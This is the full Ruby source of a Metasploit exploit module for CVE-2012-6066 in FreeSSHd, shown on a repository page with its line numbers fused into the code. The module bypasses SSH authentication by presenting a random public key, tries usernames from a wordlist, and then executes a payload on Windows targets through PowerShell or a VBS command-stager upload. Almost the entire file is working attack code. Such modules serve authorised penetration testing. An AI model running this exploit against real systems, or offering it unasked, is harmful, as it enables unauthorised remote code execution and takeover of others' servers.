Path: blob/master/modules/exploits/windows/ssh/freesshd_authbypass.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Powershell10include Msf::Exploit::CmdStager1112def initialize(info = {})13super(14update_info(15info,16'Name' => "Freesshd Authentication Bypass",17'Description' => %q{18This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass19authentication. You just need the username (which defaults to root). The exploit20has been tested with both password and public key authentication.21},22'License' => MSF_LICENSE,23'Author' => [24'Aris', # Vulnerability discovery and Exploit25'kcope', # 2012 Exploit26'Daniele Martini <cyrax[at]pkcrew.org>', # Metasploit module27'Imran E. Dawoodjee <imrandawoodjee[at][email protected]> (minor improvements)' # minor improvements28],29'References' => [30['CVE', '2012-6066'],31['OSVDB', '88006'],32['BID', '56785'],33['URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2012-12/0012.html'],34['URL', 'https://seclists.org/fulldisclosure/2010/Aug/132']35],36'Platform' => 'win',37'Privileged' => true,38'Targets' => [39['PowerShell', {}],40['CmdStager upload', {}]41],42'DefaultTarget' => 0,43'DisclosureDate' => '2010-08-11',44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54Opt::RPORT(22),55OptString.new('USERNAME', [false, 'A specific username to try']),56OptPath.new(57'USER_FILE',58[59true,60"File containing usernames, one per line",61# Defaults to unix_users.txt, because this is the closest one we can try62File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt")63]64)65]66)67end6869def check70connect71banner = sock.recv(30)72disconnect73if banner.match?(/SSH\-2\.0\-WeOnlyDo/)74version = banner.split(" ")[1]75return Exploit::CheckCode::Vulnerable if version.match?(/(2\.1\.3|2\.0\.6)/)7677return Exploit::CheckCode::Detected78end79Exploit::CheckCode::Safe80end8182def execute_command(cmd, _opts = {})83@connection.exec!("cmd.exe /c " + cmd)84end8586def setup_ssh_options87{88password: rand_text_alpha(8),89port: datastore['RPORT'],90timeout: 1,91proxies: datastore['Proxies'],92key_data: OpenSSL::PKey::RSA.new(2048).to_pem,93auth_methods: ['publickey'],94verify_host_key: :never95}96end9798def do_login(username, options)99print_status("Trying username '#{username}'")100options[:username] = username101102transport = Net::SSH::Transport::Session.new(datastore['RHOST'], options)103auth = Net::SSH::Authentication::Session.new(transport, options)104auth.authenticate("ssh-connection", username, options[:password])105connection = Net::SSH::Connection::Session.new(transport, options)106begin107Timeout.timeout(10) do108connection.exec!('cmd.exe /c echo')109end110rescue Timeout::Error111print_status("Timeout")112return nil113rescue RuntimeError114return nil115end116connection117end118119#120# Cannot use the auth_brute mixin, because if we do, a payload handler won't start.121# So we have to write our own each_user here.122#123def each_user124user_list = []125if datastore['USERNAME'] && !datastore['USERNAME'].empty?126user_list << datastore['USERNAME']127else128f = File.open(datastore['USER_FILE'], 'rb')129buf = f.read130f.close131132user_list = (user_list | buf.split).uniq133end134135user_list.each do |user|136yield user137end138end139140def exploit141unless [CheckCode::Vulnerable].include? check142fail_with Failure::NotVulnerable, 'Target is most likely not vulnerable!'143end144145options = setup_ssh_options146147@connection = nil148149each_user do |username|150next if username.empty?151152@connection = do_login(username, options)153break if @connection154end155156if @connection157case target.name158when 'PowerShell'159print_status('Executing payload via Powershell...')160psh_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)161@connection.exec!("cmd.exe /c " + psh_command)162when 'CmdStager upload'163print_status("Uploading payload, this may take several minutes...")164execute_cmdstager(flavor: :vbs, decoder: default_decoder(:vbs), linemax: 1700)165end166end167end168end169170171